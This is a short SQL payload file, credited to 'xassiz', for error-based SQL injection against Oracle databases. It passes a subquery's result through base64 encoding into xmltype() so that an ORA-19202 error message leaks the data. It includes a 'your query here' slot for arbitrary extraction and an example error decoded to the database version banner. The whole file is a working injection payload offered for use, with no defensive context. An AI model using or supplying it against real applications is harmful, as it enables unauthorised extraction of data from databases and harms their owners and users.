/*
 *    @description: Optimized Oracle error-based SQLi via xmltype() + base64 (up to 162 bytes/req)
 *    @author: xassiz
 */

select ''||
    xmltype('<'||
        regexp_replace(
            utl_raw.cast_to_varchar2(
                utl_encode.base64_encode(
                    utl_raw.cast_to_raw(
                        (select banner from v$version where banner like 'Oracle%')  --> your query here
                    )
                )
            )
            ||':x>',
        chr(10)||'|'||chr(13)||'|=','')
    )
    ||'' from dual


/*

  Example:

    ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "T3JhY2xlIERhdGFiYXNlIDExZyBFe
    |          HByZXNzIEVkaXRpb24gUmVsZWFzZSAxMS4yLjAuMi4wIC0gNjRiaXQgUHJvZHVjdGlvbg" is not declared
    |
     \
      \--> base64_decode() = 'Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production'

 */